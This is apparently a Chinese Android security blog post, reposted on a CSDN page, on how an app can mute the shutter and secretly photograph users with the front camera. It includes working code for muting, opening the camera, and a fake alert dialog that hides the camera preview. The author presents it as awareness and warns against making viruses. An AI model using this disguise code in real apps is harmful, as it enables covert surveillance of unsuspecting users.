android安全漏洞(一) 静音拍照与被拍

android 情景模式之响铃+震动获取方法 小米、锤子手机中区分响铃及响铃+震动 情景模式的方法 阅读详情

之前写过一些android手机root之后的安全问题的(文章列表见末尾),其实我是想到哪就写到了,今天整理硬盘,发现一年之前写过一段代码,所以今天我们就一起来讨论一下。

 

注:这里不是讨论多nb的技术,而是希望不了解android风险的人了解我们所处的状态

 

导读:

本文介绍了所谓的静音拍照是如何实现的(当然这也是一种恶意软件,只不过受害的不是用户),和用户自己如何被恶意软件拍照的

 

由于iteye不允许偷和拍放到一起,所以……静音拍照,大家懂的,静音拍照?不就是……

今天的主题是静音拍照与被拍

当然,这里的“被拍”不是指你拿着手机在地铁上深入女同学裙下的女同学(貌似日本人喜欢干这种事情,自行百度其新闻)

这里指的被拍是:你玩着玩着游戏,突然前置摄像头被恶意应用打开,然后咔嚓,然后……

 

想要实现这些功能,很遗憾,即是没有root权限也可以

 

 

下面我们来说正题

首先说静音拍照

其实也就是说静音拍照嘛,怎么实现?当然是先静音再拍照了……最后记得恢复静音前的状态即可。

有的手机直接调解照相快门音量即可,但是没有通用的api,似乎这种手机也很少(第三方的rom可能会有)

另一个办法就是把手机调成静音模式,然后拍照。不过也不是理想的,有些手机虽然调成了静音模式,但是快门不静音,就像闹钟不静音一样。

还有一些其他的静音方式,这里就不说了。如何把手机调成静音?这个没什么技术含量,大家可自行百度。。。

 

Java代码   收藏代码
  1. mAudioManager = (AudioManager) getSystemService(Context.AUDIO_SERVICE);  
  2. mAudioManager.setRingerMode(AudioManager.RINGER_MODE_SILENT);  

当然,你最好先记录下用户之前的模式

Java代码   收藏代码
  1. int ringerMode = mAudioManager.getRingerMode();  

这样部分手机的静音拍照就搞定了,比如我使用的g14(android 2.3)就可以达到静音的目的了(所以说htc手机操蛋,现在及其反感htc)

 

下面说一下被拍

被拍呢,我会选择前置摄像头,玩手机的时候一般人不看手机屁股,因为htc嘛

首先说一下android的摄像头

前置摄像头的通用api是在2.3才开始有的,2.2及之前都需要靠反射调用,不过那时有前置摄像头的android手机也很少

这里我们以2.3为基础作为演示

步骤:

0.伪装

1.打开前置摄像头

2.静音+拍照+退出

3.保存

 

首先来看看如何调用前置摄像头(当然,你得有前置摄像头才行)

Java代码   收藏代码

    mCamera = openCamera(CameraInfo.CAMERA_FACING_FRONT);  
    public static Camera openCamera(int which) {  
        return Camera.open(which);  
    }  

如果没Camera不为null,那么就是成功了

 

最关键的是伪装,android系统中,调用摄像头必须要有预览画面才行,当然,这也是为了安全

所以拍照时必须有一个窗口,也就是你玩着玩着游戏的时候,突然弹出个窗口给你拍个大头贴

用户看到预览画面了,那傻子都知道他被人黑了,所以病毒不能这么傻,它会给自己穿件外套

我做了一件粗糙的外套来给大家演示


当然这个外套比较烂,真正的病毒会做一个很精致,并且比较常见的外套(这样成功率才会高,如果用户手机根本没有股票软件,而我却弹出这么一个对话框,用户再傻也会知道自己中毒了)

 

下面的操作,无论用户点击确定、取消还是back键,病毒都会拍一张照片然后保存,然后……

 

camera.xml对应的代码

Xml代码   收藏代码
    <?xml version="1.0" encoding="utf-8"?>  
    <FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"  
        android:orientation="vertical"  
        android:layout_width="300dp"  
        android:layout_height="150dp"  
        android:background="@color/canvas_background">  
        <LinearLayout  
            android:layout_width="wrap_content"  
            android:layout_height="wrap_content">  
            <SurfaceView  
                android:layout_width="wrap_content"  
                android:layout_height="wrap_content"  
                android:id="@+id/alert_camera"/>  
        </LinearLayout>  
        <include layout="@layout/fake"/>  
    </FrameLayout>  

 

fake.xml对应的代码

Java代码   收藏代码

    <?xml version="1.0" encoding="utf-8"?>  
    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"  
        android:layout_width="fill_parent"  
        android:layout_height="fill_parent"  
        android:orientation="vertical">  
        <!-- title -->  
        <LinearLayout  
            android:layout_width="fill_parent"  
            android:layout_height="wrap_content"  
            android:layout_weight="1"  
            android:layout_gravity="center_vertical"  
            android:background="@color/canvas_background">  
            <ImageView  
                android:layout_width="wrap_content"  
                android:layout_height="wrap_content"  
                android:layout_margin="10dp"  
                android:src="@drawable/ic_dialog_alert"/>  
            <TextView  
                android:layout_width="wrap_content"  
                android:layout_height="wrap_content"  
                android:layout_marginTop="10dp"  
                android:layout_marginBottom="10dp"  
                android:id="@+id/alert_title"  
                android:text="@string/alert_title"  
                android:textSize="22sp">  
            </TextView>  
        </LinearLayout>  
        <!-- line -->  
        <!-- message -->  
        <LinearLayout  
            android:layout_width="fill_parent"  
            android:layout_height="wrap_content"  
            android:layout_weight="1"  
            android:layout_gravity="center_vertical"  
            android:background="@color/canvas_background">  
            <TextView  
                android:layout_width="wrap_content"  
                android:layout_height="wrap_content"  
                android:layout_margin="10dp"  
                android:id="@+id/alert_message"  
                android:text="@string/alert_message"  
                android:textSize="18sp">  
            </TextView>  
        </LinearLayout>  
        <!-- line -->  
        <!-- button -->  
        <LinearLayout  
            android:layout_width="fill_parent"  
            android:layout_height="wrap_content"  
            android:orientation="horizontal"  
            android:layout_weight="1"  
            android:background="@color/button_background">  
            <Button  
                android:layout_width="wrap_content"  
                android:layout_height="wrap_content"  
                android:layout_weight="1"  
                android:id="@+id/alert_ok"  
                android:text="@string/alert_ok"/>  
            <Button  
                android:layout_width="wrap_content"  
                android:layout_height="wrap_content"  
                android:layout_weight="1"  
                android:id="@+id/alert_cancel"  
                android:text="@string/alert_cancel"/>  
        </LinearLayout>  
    </LinearLayout>  

 ic_dialog_alert.png就是上图显示的叹号,在frameworks/base/core/res下面就有,复制出来一个就行

上面只是布局代码,我们的activity也需要做一些设置,比如在manifest里要设置主题为

Xml代码   收藏代码
  1. android:theme="@android:style/Theme.Dialog"  

在onCreate里面要设置下面这些属性,我就不一一解释了

Java代码   收藏代码

    requestWindowFeature(Window.FEATURE_NO_TITLE);  
    Window window = getWindow();  
    window.setFormat(PixelFormat.TRANSLUCENT);  
    window.setType(WindowManager.LayoutParams.TYPE_SYSTEM_ALERT);  
    window.setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,  
            WindowManager.LayoutParams.FLAG_FULLSCREEN);  
    setContentView(R.layout.camera);  

到这里,关键的地方就都完成了

manifest中还需要配置一些权限

Xml代码   收藏代码
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />  
    <uses-permission android:name="android.permission.CAMERA" />  
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>  

 

 

 

正常的拍照流程代码网上很多,我也不贴了,最后附上的colors.xml文件吧

Xml代码   收藏代码
    <resources>    
        <color name="button_background">#ffffff</color>  
        <color name="canvas_background">#ffffffcc</color>  
    </resources>    

 

最后再说两句,如果有了root权限,那么病毒就可以替换快门声的音频文件,或者数据库存储指向快门声音的Uri,这样就能彻底的实现静音拍照了

当然,你想静音拍照别人,没准你也被别人静音拍照了,自重

 

 

android手机root后的安全问题 (一)

android手机root后的安全问题 (二)

android手机root后的安全问题 (三)

android手机root后的安全问题 (四)

 

 

android安全问题(一) 静音拍照与被拍

android安全问题(二) 程序锁

android安全问题(三) 钓鱼程序


 

请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!

 

 

转贴请保留以下链接

本人blog地址

http://su1216.iteye.com/

http://blog.youkuaiyun.com/su1216/

BIOS/UEFI设置全解析:从启动顺序到虚拟化,解决90%开机问题 BIOS(基本输入输出系统)是计算机启动时最先运行的固件程序,它负责硬件自检、初始化和引导操作系统,是连接硬件与软件的底层桥梁。其核心原理在于对CPU、内存、硬盘等核心硬件进行初始化配置,并加载引导程序。这一基础技术对于系统启动、硬件兼容性管理和性能优化具有关键价值。在应用场景上,无论是安装操作系统、排查开机黑屏、解决硬件兼容性问题,还是运行虚拟机软件,都需要与BIOS设置界面进行交互。现代计算机普遍采用功能更强大的UEFI BIOS,其图形化界面支持更丰富的设置选项,例如调整启动顺序、开启硬件虚拟化技术( 阅读详情

相关推荐

android实现抓拍

最近做的项目里要求在通知栏里有一个按钮,点击按钮立刻拍照,并且显示在图库里. 在经过了几天的研究之后终于实现了,中途走了不少的弯路.先是没有传入预览界面,只调用startPreview();方法就实现了拍照,并且在两部手机上都可以正常使用,但在小米手机上不行…..很忧桑得以为是小米手机的权限问题…后来查看官方文档和stackoverflow发现之前测试成功纯属运气…官方文档: To take p

AsIam 3087

android AudioManager类 详解

AudioManager类位于android.Media 包中,该类提供访问控制音量和钤声模式的操作。通过getSystemService(Context.AUDIO_SERVICE)方法获得AudioManager实例对象。AudioManager audiomanage = (AudioManager)context.getSystemService(Context.AUDIO_SERVICE)

GitLqr的博客 867

Android APP常见风险及防护

如果程序本身对运行时的内存没有做任何的保护措施,攻击者通过反编译对源代码进行分析,定位到可以程序外 Hook 类似操作的关键位置,完全不需要修改程序本身,当程序运行到敏感的界面 Activity 时,从程序外获取用户输入的证件号、姓名、手机号和密码等敏感的信息,并从内存中进行修改,尤其是对于涉及到支付等操作时,将严重威胁用户的财产安全。app被轻易的二次打包,很容易被攻击者添加恶意的代码或者添加广告,从而窃取登录账号密码、支付密码等,严重威胁用户隐私安全,也给公司的形象带来不利的影响。

技术超强的网络安全平台 1902

Android设备防盗机制深度解析:从生物识别到离线定位的技术实现

在移动设备安全领域,生物识别技术和数据加密是构建可信赖防护体系的核心基础。其原理在于通过独立的硬件安全区域(如TEE)处理敏感信息,确保即使主系统被攻破,密钥与生物模板也不会泄露。这项技术的核心价值在于将安全从“被动防御”升级为“主动围剿”,在设备丢失后仍能持续保护用户隐私与资产。典型的应用场景包括设备远程锁定、离线状态下的众包定位追踪,以及通过硬件级密钥锁定实现数据自毁。本文聚焦Android系统如何将这些技术深度融合,构建一套环环相扣的“丢失模式”技术体系,其中生物识别与TEE的联动、以及去中心化的“查

chuanzhuanxian8669的博客 390

Android 实现三种响铃模式的切换

在android 原生系统中,对响铃模式有三种模式分为静音模式 震动模式 正常模式,最近有需求功能需要实现这三种模式的切换 而原生系统AudioManager 的api可以获取当前响铃模式 如下: int ringerMode = mAudioManager.getRingerMode(); 1 .其中ringerMode 的值只能是: AudioManager.RINGER_MODE_NORMAL AudioManager.RINGER_MODE_SILENT AudioManager.RINGER_MO

安卓兼职framework和app工程师的博客 2366

Android 12.0Camera2 静音时拍照去掉快门声音

在12.0定制化开发时,在Camera2静音情况下有快门拍照声音,这就不符合使用规范了 静音的情况下拍照也不应该发出声音,所以在静音拍照流程中要求去掉快门声音

安卓兼职framework和app工程师的博客 3200

Smart Working Days:轻量级团队弹性协同机制

Smart Working Days(智能工作日)是一种面向知识型团队的弹性协同方法论,其核心在于摆脱传统考勤式排班思维,转向以能力、任务与节奏三维匹配为基础的动态协作设计。它不依赖复杂系统,而是通过结构化模板(Focus/Connect/Buffer三类工作日)和极简流程,实现远程不等于失联、弹性不滑向失控。该机制显著提升关键节点交付准时率、跨职能响应效率与员工自主感,适用于混合办公、跨时区协作及快速迭代型研发团队,是管理者构建高信任、高密度协同契约的技术实践入口。

chuoshao2508的博客 532

Android 相机拍照时消除快门声音

请记住,相机 API 在 Android 中已废弃,并在较新的 Android 版本中不推荐使用。在许多情况下,我们希望在拍摄照片时能够消除 Android 相机的快门声音,以避免干扰或打扰他人。在你的活动(Activity)或片段(Fragment)中,你需要创建一个相机功能来获取相机实例并进行设置。要实现这个目标,我们需要使用 Android 相机 API,并在拍照之前将相机设置为静音模式。需要注意的是,在拍照完成后,你可以选择重新启用快门声音,以便在下一次拍照时恢复正常的快门声音。

CyberJolt的博客 515

Android之常见安全问题

Android 常见安全问题 组件安全 Activity访问权限的控制(可能会导致恶意调用页面,接收恶意数据) 1.私有Activity不应被其他应用启动且应该确保相对是安全的 2.关于Intent的使用要谨慎处理接收的Intent以及其携带的信息,尽量不发送敏感信息,并进行数据校验 3.设置android:exported属性,不需要被外部程序调用的组件应该添加android:expo...

Zachary的基地 2987

Android相机静音拍照-去除快门声音

在许多情况下,我们希望在Android应用程序中的相机拍摄照片时能够静音,以避免干扰或不必要的噪音。通过以上步骤,我们可以在Android应用程序中实现静音拍照,并去除快门声音。请注意,由于设备的差异性,禁用快门声音的功能可能在某些设备上不可行。如果你的应用程序的关键需求是去除快门声音,建议在特定设备上进行测试,以确保功能正常工作。首先,确保你的应用程序具有适当的权限,以便访问相机功能。请注意,这种方法可能在某些设备上不起作用,因为不同的设备厂商可能有不同的实现。在某些设备上,禁用快门声音可能是不可行的。

2301_79325339的博客 829

柚子租车小程序源码1.4.2深度解析:分销+天地图+蓝牙开锁实战

微信小程序作为轻量级本地化服务载体,其核心能力在于精准定位、实时交互与社交裂变。天地图替代高德实现低成本合规地理服务,蓝牙开锁需兼顾安卓14与iOS系统差异,而分销机制本质是基于用户关系链的实时佣金归因与多级结算。这些技术组合并非孤立功能,而是围绕‘区域租车业务低门槛数字化’这一命题构建的闭环:从地图选车到订单完成,再到邀请转化与财务对账,全程依赖状态一致性保障与微信原生API深度调用。本文以柚子租车小程序源码1.4.2为样本,详解其微服务架构、四层分销嵌入设计及真实部署避坑经验。

327

Android关闭自定义相机拍照声音

Android关闭自定义相机拍照声音在自定义相机的代码中,调用 camera.takePicture(null,rawCallback,jpegCallback); 方法完成拍照时会发现无论系统的音量时震动、静音还是有声音都无法关闭自定义相机的拍照声音。 解决方法: 在调用该方法之前先调用AudioManager去获取系统音量AudioManager audioManager = (Audi

Jochim's Technology Blog 9484

为什么AI时代的优秀组织,都在学习Meta的Pod结构?看完秒懂

当AI技术重塑产业格局,企业协作正面临前所未有的挑战——层级繁琐、跨部门内耗、迭代滞后,传统组织模式早已难以跟上技术革新的步伐。作为全球AI原生企业的标杆,Meta独创的Pod组织模式,用“小而美”的自治单元打破困局,成为AI时代高效协作的典范。本文将从定义、运作、价值到未来演进,全面拆解Pod模式,为企业组织变革提供可参考的思路与路径。德鲁克曾说:“组织的功能就是让平凡的人做平凡的事。”而Meta Pod打破这一局限,通过去中心化、指标导向、跨界融合,让优秀人才产生“化学反应”。

Kiss_AIHR的博客 1174

Android实现手机静音,Android实现手机静音

模块原本是放在miao课表中的,允许用户上课静音,但其他很多地方也可以用得到,所以特地把它摘出来详细写写。静音Android的铃响模式的设置是通过AudioManager(音频管理器)来实现的。静音指来电后手机处于静音状态,无声音。实现代码如下:privatevoidsilentSwitchOn(){AudioManageraudioManager=(AudioManager)get...

weixin_39652154的博客 2597

Vivado ILA调试全攻略:从HDL实例化到Block Design的5个实战技巧

本文全面解析了Vivado集成逻辑分析仪(ILA)的五种核心调试方法,涵盖从HDL代码实例化到Block Design集成的实战技巧。详细对比了不同方法的优缺点与适用场景,并重点介绍了如何利用Debug Hub高效管理多时钟域复杂调试,旨在帮助FPGA开发者精准定位问题,显著提升板级调试效率。

weixin_29214199的博客 376

技术美术个人笔记(十三)——Houdini金属弯曲模拟

最近接收到使用Houdini自动解算破损/砸坏/扭曲汽车的需求,以此文记录制作金属弯曲自动解算工具时使用的部分节点解析;

小谁的博客 2148

android+camera+声音,Android Camera.takePicture - 可以禁用快门声音和预览表面?

这实际上是一个电话的build.prop属性。我不确定是否有可能改变这一点。除非你完全覆盖它并使用你自己的相机代码。使用SDK中可用的功能。看看这个:CameraService.cpp 。 。 。CameraService::Client::Client(const sp& cameraService,const sp& cameraClient,const sp& har...

weixin_33610780的博客 668

从零到一:STM32 CubeMX与WS2812B的DMA驱动艺术

本文详细介绍了如何使用STM32 CubeMX和DMA技术驱动WS2812B RGB LED灯条,从硬件设计到软件实现的全过程。通过CubeMX配置定时器和DMA,实现高效的PWM波形生成与数据传输,解决传统GPIO控制资源占用高的问题。文章还提供了颜色编码、动画效果实现及常见问题解决方案,助力开发者快速掌握智能LED控制技术。

weixin_28278377的博客 978

APP自动化处理拍照

APP自动化中H5遇到拍照处理方式思路1、弄清楚此时是在H5还是在源生框架?1.1切换到源生框架,H5的方法2、能定位到源生框架元素下一步来处理拍照的问题3、拍完照片之后,就会回到原来的H5界面,此时注意切换contexts 思路 1、弄清楚此时是在H5还是在源生框架? 1)、在开发者模式中打开“显示布局边界”,以此来判断此时是在H5中还是源生框架中。 2、通过查看发现此时调用的是源生框架,可使用weditor,Appium等等定位工具来定位源生框架的元素。 注意,此时要从H5的contexts 要切换到

weixin_44563903的博客 820

MIT Mini Cheetah--仿真流程

MIT Mini Cheetah–仿真 摘要 由于官方提供代码中,控制仿真环境中的猎豹机器人运动需要遥控器来控制。官方默认推荐使用logitech Gamepad F310游戏手柄:We use the Logitech F310 controller. There’s a switch in the back, which should be in the “X” position. The controller needs to reconnected if you change the switch

Galaxy_Robot的博客 5916

IP-Guard分类管理详解

大家都知道在配置IPGUARD策略前需要做分类库进行设置和分类。 1、应用程序:可以分类,例如上班时间只能用OFFICE和WPS,记事本等办公软件,可以在分类里设置一个类 ;办公软件,在未分类里找到OFFICE,WPS等拖入心建的分类里就可以在配置策略里调用。 2、网站分类也不一样,可以按照自己方式自定义。也可以导入厂家已经收集到的网站分类。 3、邮箱分类:可以提前定义好一个或...

IP-Guard专栏 589

python3+appium,关于截图拍照功能,一点小想法;

appium报错报一段代码给我,调试起来时间比较长,就想着,搞个拍照功能玩玩;下面是方法: #第一步: screenshots(driver, 10)#放在需要拍照的代码下一行; #第二步: def screenshots(driver, lu): img_folder = os.fspath('D:\\screenshots') + '\\' + str(lu) + "\scr...

linmumum的博客 1311

使用 Simulink 进行电力电子系统的效率优化仿真

电力电子系统(Power Electronics System)是现代电力系统和工业自动化中的关键组成部分,广泛应用于可再生能源发电、电动汽车、不间断电源(UPS)、电机驱动等领域。为了提高系统的整体性能和经济性,必须对电力电子系统的效率进行优化。效率优化的目标是最大化系统的能量转换效率,减少损耗,从而提高系统的可靠性和经济效益。Simulink 提供了一个强大的仿真环境,可以用来设计、分析和验证电力电子系统的效率优化策略。本教程将详细介绍如何使用 Simulink 进行电力电子系统的效率优化仿真。

xiaoheshang_123的博客 355

Android应用安全常见问题及解决方案

这是我们内部审计发现的一些数据,在经过仔细的排查,发现很多应用普遍都会存在一些漏洞。而少部分应用会在他们不知情或者是故意的情况下,带有一些病毒和恶意的行为。Android应用常见问题及解决方案接下来会给大家介绍下我们今年发现了一些漏洞,其实说漏洞还是有些不恰当,它更像是四个攻击面,包括组件问题、url绕过、中间人攻击、Webview漏洞,尽管这几个问题看起来非常简单,但是在手机上包括一些主流APP上却是非常的常见。组件问题对于组件问题,如果单论存在的原因,可能在安卓建立之初它就存在了。

keyoukewude的博客 731

《网络安全自学教程》- MySQL脱库原理和步骤

MySQL脱库,脱库的原理,怎么脱库,脱库的步骤,一库三表六字段

wangyuxiang946的博客 1万+

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

Android多媒体实现拍照和获取照片

以下代码是Android应用开发中用于AndroidManifest.xml文件的一部分,它声明了应用对硬件和权限的需求。

m0_74174723的博客 2835

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

上一篇: android安全漏洞(二) 程序锁
Bincker
博客等级 码龄20年 35粉丝 0原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值